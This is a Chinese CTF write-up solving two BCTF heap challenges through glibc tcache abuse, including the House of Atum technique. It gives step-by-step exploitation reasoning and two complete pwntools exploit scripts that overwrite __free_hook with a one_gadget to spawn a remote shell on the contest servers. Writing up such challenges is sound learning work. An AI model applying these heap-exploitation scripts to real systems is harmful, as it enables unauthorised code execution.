bctf-两道tcache题解

去年12月份打的比赛,一共6道pwn,和室友一起做了5道,出了两道tcache,这可能算是我第一次在比赛里面做出来题,所以记得比较清楚哈~

tcache的题做起来感觉很有意思,主要是对tcache的安全限制太小了。这里的两道题都值得好好的做一下,其中的houseofAtum更是第一次出现在比赛里面。题目相关的文件可以在这里下载

three

程序存在UAF,能分配3个chunk,没有输出。利用分为三个步骤

  • double free拿到heap上0x250大小的tcache结构体,设置0x250对应的tcache数量大于7,释放并分配chunk拿到unsorted bin的地址
  • 部分写unsorted bin的地址,通过tcache分配到stdout结构体所在内存,覆盖flag_IO_write_base等指针泄露libc地址,参考:https://vigneshsrao.github.io/babytcache/
  • 利用tcache覆盖__free_hookone_gadget拿到shell

可能需要多次对tcache结构体进行编辑控制tcache bins的长度,来让一些chunk放入fastbin中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
from pwn import *

#context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
context.endian= 'little'
context.terminal = ['tmux', 'splitw', '-h']

debug=0

if debug:
p = process('./three')
else:
p = remote('39.96.13.122',9999)

r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(content):
sla('choice:',str(1))
sa('content:',content)

def edit(index,content):
sla('choice:',str(2))
sla(' idx:',str(index))
sa('content:',content)

def delete(index,flag=1):
sla('choice:',str(3))
sla(' idx:',str(index))
ru('(y/n):')
if flag==1:
sl('y')
else:
sl('n')

def pwn():
add('e3pem\n')# 0
if debug == 1:
f = open('/proc/'+str(pidof(p)[0])+'/maps')
data = f.read().split('\n')
f.close()
for j in data:
if '[heap]' in j:
heap_base_addr = int('0x' + j[0:12], 16)
for j in data:
if 'libc-2.27.so' in j:
libc_base_addr = int('0x' + j[0:12], 16)
break
else:
heap_base_addr = 0x559408b3a000
libc_base_addr = 0x7f5731319000

delete(0,0)
delete(0,1)
add(p64(heap_base_addr + 0x10)[:2]) #0
add(p64(heap_base_addr + 0x10)[:2]) #1
add(p64(0x0909090909090909)+p64(0x0909090909090909)*4+p64(0)*3) #2
delete(2,1) #2
add(p64(0x0909090907090909)) #2
delete(1,1) #fastbin
edit(2,p64(0x0909090906090909))
delete(0,0) #tcache
delete(2,0) #fastbin
edit(0, p64(libc_base_addr + 0x3ec760)[:2]) #should change to \x07\x60
add('aaaa\n') #1
delete(0,1)

payload = p64(0xfbad1800)+p64(0)*3+'\x00'
add(payload) #0
libc_base = u64(rn(16)[8:])-(0x7ffff7dd18b0-0x7ffff79e4000)
libc_base_addr = libc_base
print 'libc base:'+hex(libc_base)
edit(2,p64(0x0909090905090909))
delete(1,0)
delete(1,1)
delete(2,1)
add(p64(libc_base_addr + 0x3ed8e8)) #1
add(p64(libc_base_addr + 0x3ed8e8)) #2
delete(1,1)
# delete(2,1)
add(p64(libc_base+0x4f322))
sla('choice:',str(3))
sla(' idx:',str(1))


if __name__ == '__main__':
while 1:
try:
pwn()
p.interactive()
p.close()
except Exception as e:
p.close()
p = remote('39.96.13.122',9999)


# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

houseofAtum

程序仍然存在UAF,但只允许分配最多2个chunk,且多了输出函数。

利用思路:

  • tcachebinfastbin结合起来,tcachebin中数量大于7后0x50大小的chunk会被放入fastbin
  • tcachebin中的链表指针指向的是chunk的fd,fastbin中的链表指针指向的是chunk的prev_size域,这个域的内容是我们可以控制的
  • 先在tcachebin中布置好chunk1–>chunk2–>chunk2……,再在fastbin中布置chunk1–>chuk2,此时tcachebin中的chunk1指针会被修改为指向chunk2的prev_size,再连续分配两次后,prev_size域中的内容会被放入tcachebins中,该内容可以控制,导致可以分配任意地址的内存(上述操作后chunk2的部分字段和chunk1重叠,修改chunk2的size字段为0x61,这样chunk2释放后不会放入0x50的tcachebin,这样就能拿到指定位置的chunk了)
  • 通过任意分配内存拿到chunk1+0x10处的虚假chunk3,修改chunk1使chunk3的size为0x91,连续释放8次chunk3,拿到unsortedbin地址,实现泄露libc地址
  • 把chunk3放入tcachebin,修改fd为__free_hook地址,通过修改其size让其放入其它大小的tcachebins,最后拿到__free_hook位置的内存,修改为one_gadget拿到shell
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
from pwn import *

# context.log_level='debug'
context.arch = 'amd64'
context.os = 'linux'
context.endian= 'little'
context.terminal = ['tmux', 'splitw', '-h']

debug=0

if debug:
p = process('./houseofAtum')
libc = ELF('./libc.so.6')
else:
p = remote('60.205.224.216',9999)
libc = ELF('./libc.so.6')

r = lambda x:p.recv(x)
rl = lambda:p.recvline
ru = lambda x:p.recvuntil(x)
rud = lambda x:p.recvuntil(x,drop=True)
s = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
sla = lambda x,y:p.sendlineafter(x,y)
sa = lambda x,y:p.sendafter(x,y)
rn = lambda x:p.recvn(x)

def add(content):
sla('choice:',str(1))
sa('content:',content)

def edit(index,content):
sla('choice:',str(2))
sla(' idx:',str(index))
sa('content:',content)

def delete(index,flag=1):
sla('choice:',str(3))
sla(' idx:',str(index))
ru('(y/n):')
if flag==1:
sl('y')
else:
sl('n')

def show(index):
sla('choice:',str(4))
sla(' idx:',str(index))

def pwn():
add('e3pem\n')# 0
add('e3pem\n')# 1
delete(1,0)
delete(1,0)
# gdb.attach(p,'b *0x555555554e2f')
# info leak
show(1)
ru('Content:')
heap_base = u64(ru('\x0a')[:-1].ljust(8,'\x00'))&0xFFFFFFFFFFFFF000
print 'heap_addr is :'+hex(heap_base)
payload = p64(0)*0x8+p64(heap_base+0x270)
edit(0,payload)
delete(1,0)
delete(1,0)
delete(1,0)
delete(1,0)
delete(0,0)
delete(1,1)
# gdb.attach(p,'b *0x555555554e2f')
delete(0,1)
add('aaaa\n')
add('bbbb\n')
payload = p64(0x0)*6+p64(0x0)+p64(0x61)
edit(0,payload)
delete(1,1)
#gdb.attach(p,'b *0x555555554e2f')
payload = p64(0)+p64(0x91)
add(payload)
edit(0,payload)
# gdb.attach(p,'b *0x555555554e2f')
for i in range(0,7):
delete(1,0)
# gdb.attach(p,'b *0x555555554e2f')
delete(1,0)
show(0)
ru('Content:')
main_arena = u64(ru('\x0a')[:-1].ljust(8,'\x00'))
print 'main_arena is:'+hex(main_arena)
libc_base = main_arena-(0x7ffff7dcfca0-0x7ffff79e4000)

# gdb.attach(p,'b *0x555555554e2f')
edit(0,p64(0)+p64(0x51))
delete(1,1)
edit(0,p64(0)+p64(0x51)+p64(libc_base+libc.symbols['__free_hook']))
add('aaaa')
edit(0,p64(0)+p64(0x61))
delete(1,1)
one_gadget = 0x4f322
add(p64(libc_base+one_gadget))
sla('choice:',str(3))
sla(' idx:',str(0))

p.interactive()



print hex(libc.symbols['system'])

if __name__ == '__main__':
pwn()


# 0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# rcx == NULL

# 0x4f322 execve("/bin/sh", rsp+0x40, environ)
# constraints:
# [rsp+0x40] == NULL

# 0x10a38c execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL